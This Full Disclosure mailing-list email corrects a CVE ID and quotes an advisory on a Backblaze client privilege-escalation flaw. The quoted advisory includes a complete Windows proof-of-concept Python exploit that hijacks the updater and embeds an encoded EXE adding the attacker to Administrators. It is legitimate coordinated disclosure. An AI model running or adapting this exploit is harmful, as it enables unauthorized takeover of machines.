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Message-ID: <CALPTtNV4rXK68vmy5s_H-6S3bg2eC093E9MeWiNdqeeXJN-5bA@mail.gmail.com>
Date: Tue, 22 Dec 2020 01:51:48 -0800
From: Reed Loden <reed@...dloden.com>
To: Jason Geffner <geffner@...il.com>
Cc: fulldisclosure@...lists.org
Subject: Re: [FD]
	CVE-2020-8152 – Elevation of Privilege in Backblaze

Due to a process fail, this CVE ID was accidentally reused for another
vulnerability.

The updated CVE ID for this issue is CVE-2020-8290.

We apologize to Jason and others for the inconvenience caused by this error.

Happy holidays,
~reed
(for HackerOne)

On Fri, Sep 11, 2020 at 10:16 AM Jason Geffner <geffner@...il.com> wrote:

> CVE-2020-8152 – Elevation of Privilege in Backblaze
> ---------------------------------------------------
>
> Summary
> =======
> Name: Elevation of Privilege in Backblaze
> CVE: CVE-2020-8152
> Discoverer: Jason Geffner
> Vendor: Backblaze
> Product: Backblaze for Windows and Backblaze for macOS
> Risk: High
> Discovery Date: 2020-03-13
> Publication Data: 2020-09-08
> Fixed Version: 7.0.0.439
>
> Introduction
> ============
> Per Wikipedia, Backblaze is "an online backup tool that allows Windows and
> macOS
> users to back up their data to offsite data centers. The service is
> designed for
> businesses and end-users, providing unlimited storage space and supporting
> unlimited file sizes."
>
> Vulnerable versions of Backblaze for Windows and Backblaze for macOS
> contain a
> high risk vulnerability that allows a local unprivileged attacker to
> perform an
> elevation of privilege (EOP) attack to become SYSTEM/root.
>
> Vulnerability
> =============
> The Backblaze client's service process, named bzserv, runs as SYSTEM on
> Windows
> and as root on macOS. Every couple of hours, bzserv runs a program named
> bztransmit (executed as SYSTEM/root) to download an XML file named
> clientversion.xml from Backblaze's data center to see if a newer version
> of the
> Backblaze client is available for download, and if so, downloads the latest
> client version's installer from Backblaze's data center. The downloaded
> installer is saved to the %ProgramData%\Backblaze\bzdata\bzupdates
> directory in
> Windows and to the /Library/Backblaze.bzpkg/bzdata/bzupdates or
> /Library/Backblaze/bzdata/bzupdates directory on macOS. Once downloaded,
> bztransmit runs the downloaded installer as SYSTEM via ShellExecute() or
> as root
> via system().
>
> On Windows, the %ProgramData%\Backblaze\bzdata directory is created at
> install-time such that local unprivileged users have read- and
> write-access. The
> bztransmit process creates the bzupdates child directory while it's
> running as
> SYSTEM, and unprivileged users do not have read- or write-access to this
> child
> directory once it's created. However, the bztransmit process does not
> securely
> verify the ACL on this bzupdates directory if it already existed, nor does
> it
> securely update the ACL if the directory already existed. As such, a local
> unprivileged attacker can create the
> %ProgramData%\Backblaze\bzdata\bzupdates
> directory prior to Backblaze's installation, or create the bzupdates child
> directory under %ProgramData%\Backblaze\bzdata after Backblaze is
> installed and
> before bztransmit creates the bzupdates child directory. This allows the
> attacker to be the owner of the bzupdates directory and have full control
> over
> the files in that directory. Thus, the attacker can modify or replace the
> downloaded update executable after it's downloaded and before it's
> executed,
> thereby allowing for local EOP.
>
> On macOS, the /Library/Backblaze.bzpkg/bzdata directory (or
> /Library/Backblaze/bzdata) is created at install-time with permissions 0777
> (drwxrwxrwx), such that local unprivileged users have read- and
> write-access.
> The bztransmit process creates the bzupdates child directory with
> permissions
> 0755 (drwxr-xr-x) while it's running as root, and unprivileged users do
> not have
> read- or write-access to this child directory once it's created. However,
> the
> bztransmit process does not securely verify the permissions on this
> bzupdates
> directory if it already existed, nor does it securely update the
> permissions if
> the directory already existed. As such, a local unprivileged attacker can
> create
> the bzupdates child directory under /Library/Backblaze.bzpkg/bzdata (or
> /Library/Backblaze/bzdata) after Backblaze is installed and before
> bztransmit
> creates the bzupdates child directory. This allows the attacker to be the
> owner
> of the bzupdates directory and have full control over the files in that
> directory. Thus, the attacker can modify or replace the downloaded update
> executable after it's downloaded and before it's executed, thereby
> allowing for
> local EOP.
>
> Proof of Concept
> ================
> Video: https://youtu.be/OpC6neWd2aM
>
> The above video shows two concurrent logins to the same VM: an
> administrator's
> session on the left, and an unprivileged attacker's session on the right.
> You
> can see the following steps in the in the video:
>
> 1. Attacker runs "net localgroup Administrators" to show that the
> unprivileged
>    attacker's account (named Attacker) is not a member of the
> Administrators
>    group.
> 2. Attacker runs "python eop.py" (whose source code is below).
> 3. The administrator then installs Backblaze.
> 4. Six minutes later, the installed Backblaze service downloads
>    clientversion.xml, which the exploit overwrites.
> 5. One minute later, the installed Backblaze service downloads the updater
>    executable, which the exploit overwrites.
> 6. The Backblaze service then runs the overwritten updater, which adds the
>    Attacker account to the Administrators group.
> 7. The attacker then runs "net localgroup Administrators" again to show
> that the
>    Attacker account has indeed been added to the Administrators group.
> Local
>    privilege elevation complete.
>
> ________________________________________________________________________________
> # Licensed under the Apache License, Version 2.0 (the "License");
> # you may not use this file except in compliance with the License.
> # You may obtain a copy of the License at
> #
> #     http://www.apache.org/licenses/LICENSE-2.0
> #
> # Unless required by applicable law or agreed to in writing, software
> # distributed under the License is distributed on an "AS IS" BASIS,
> # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
> # See the License for the specific language governing permissions and
> # limitations under the License.
>
> """Proof-of-concept exploit for CVE-2020-8152 for Windows."""
>
>
> __author__ = "geffner@...il.com (Jason Geffner)"
> __version__ = "1.0"
>
>
> import base64
> import bz2
> import ctypes
> import os
> import platform
> import re
> import subprocess
> import time
>
>
> def wait_for_filesystem_object(file_path):
>     if os.path.exists(file_path):
>         return
>     parent_directory = os.path.dirname(file_path)
>     if not os.path.exists(parent_directory):
>         wait_for_filesystem_object(parent_directory)
>     buffer = ctypes.create_string_buffer(1024)
>     bytes_returned = ctypes.c_ulong()
>     if "." in os.path.basename(file_path):
>         notify_filter = 8
>     else:
>         notify_filter = 2
>     h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
>                                            0x02000000, None)
>     while not os.path.exists(file_path):
>         ctypes.windll.kernel32.ReadDirectoryChangesW(
>             h, ctypes.byref(buffer), 1024, False, notify_filter,
>             ctypes.byref(bytes_returned), None, None)
>     ctypes.windll.kernel32.CloseHandle(h)
>
>
> def get_exe_content():
>     #
>     # Returns the content of an EXE that will add the attacker to the
>     # Administrators group. Based on
>     # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
>     #
>     exe_content = bz2.decompress(base64.b85decode(
>
> "LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
>
> "~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
>         "p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
>     exe_content += ("NET LOCALGROUP Administrators " +
>                     f"{os.environ['USERDOMAIN']}\\" +
>                     f"{os.environ['USERNAME']} /ADD").encode()
>     return exe_content
>
>
> def am_i_admin():
>     bufptr = ctypes.c_void_p()
>     ctypes.windll.netapi32.NetUserGetInfo(
>         os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
>         ctypes.byref(bufptr))
>     if platform.architecture()[0] == "32bit":
>         usri1_priv = ctypes.string_at(bufptr, 13)[-1]
>     else:
>         usri1_priv = ctypes.string_at(bufptr, 21)[-1]
>     ctypes.windll.netapi32.NetApiBufferFree(bufptr)
>     return usri1_priv == 2
>
>
> def poc():
>     print(f"Running as user: {os.environ['USERNAME']}")
>
>     # Ensure that we're running as an unprivileged user.
>     print("Testing for administrative privileges...")
>     if am_i_admin():
>         print("You're already an administrator. Bye!")
>         return
>     print("You're a non-administrative user.")
>
>     # Raise our process's priority to try to win our race condition.
>     pid = ctypes.windll.kernel32.GetCurrentProcessId()
>     h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
>     ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
>     ctypes.windll.kernel32.CloseHandle(h)
>
>     # Create the bzupdates directory so that we are the owner of it.
>     bzupdates =
> f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
>     if os.path.exists(bzupdates):
>         print("Backblaze's bzupdates directory was already created. You're
> " +
>               "too late!")
>         return
>     os.makedirs(bzupdates)
>
>     #
>     # Get the installed hguid value so that we can force an update via
>     # clientversion.xml.
>     #
>     if platform.architecture()[0] == "32bit":
>         bzinstall =
> f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
>     else:
>         bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
>                     "\\Backblaze\\bzinstall.xml"
>     if not os.path.exists(bzinstall):
>         print("Waiting for Backblaze's installer to assign an hguid
> value.")
>         wait_for_filesystem_object(bzinstall)
>         print("Backblaze assigned an hguid value.")
>     with open(bzinstall) as f:
>         xml = f.read()
>     hguid = re.search('hguid="([^"]+)"', xml).group(1)
>
>     # Force update via clientversion.xml.
>     if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
>         print("Waiting for Backblaze to download clientversion.xml.")
>         wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
>         print("clientversion.xml now downloaded.")
>     with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
>         xml = f.read()
>         xml = re.sub('update_hguids_firstchar=".',
>                      f'update_hguids_firstchar="{hguid[0]}', xml)
>         xml = xml.replace('win32_version="', 'win32_version="1')
>         f.truncate(0)
>         f.seek(0)
>         f.write(xml)
>     print("clientversion.xml modified to force update next time Backblaze
> " +
>           "considers updating.")
>
>     # Don't allow SYSTEM to overwrite clientversion.xml.
>     subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
>                     "/setowner", f"{os.environ['USERNAME']}"])
>     print()
>     subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
>                    '/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
>     print()
>
>     #
>     # Create an executable to replace the downloaded update, which will
> elevate
>     # our privileges.
>     #
>     exe_content = get_exe_content()
>     with open(f"{bzupdates}\\eop.exe", "wb") as f:
>         f.write(exe_content)
>
>     #
>     # Wait for update to download and overwrite it with attacker's
> executable.
>     # In this PoC we use iexpress.exe (built into Windows) to create an
> EXE that
>     # adds the attacker to the Administrators group, but an attacker could
>     # supply any executable content they like.
>     #
>     exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
>     print(f"Waiting for Backblaze to download {exe}.")
>     wait_for_filesystem_object(f"{bzupdates}\\{exe}")
>     os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
>     print(f"{exe} downloaded and replaced.")
>     print(f"{exe} should now get executed as SYSTEM.")
>
>     for i in range(5):
>         if am_i_admin():
>             print("Success! You're now an administrator!")
>             return
>         time.sleep(1)
>     print("Exploit failed. We probably lost the race-condition when " +
>           f"overwriting {exe}.")
>
>
> if __name__ == "__main__":
>     poc()
>
> ________________________________________________________________________________
>
> Mitigation
> ==========
> Backblaze patched this vulnerability in Backblaze version 7.0.0.439.
>
> Discoverer
> ==========
> This vulnerability was discovered and reported to Backblaze by Jason
> Geffner via
> HackerOne.
>
> Timeline
> ========
> 2020-03-13 - Vulnerability discovered and reported to Backblaze via
> HackerOne
> 2020-03-26 - HackerOne verified vulnerability
> 2020-04-22 - CVE-2020-8152 assigned
> 2020-04-22 - Build 7.0.0.439 released
> 2020-04-22 - Vulnerability mitigation verified
> 2020-04-23 - Public disclosure requested
> 2020-09-08 - Public disclosure
>
> _______________________________________________
> Sent through the Full Disclosure mailing list
> https://nmap.org/mailman/listinfo/fulldisclosure
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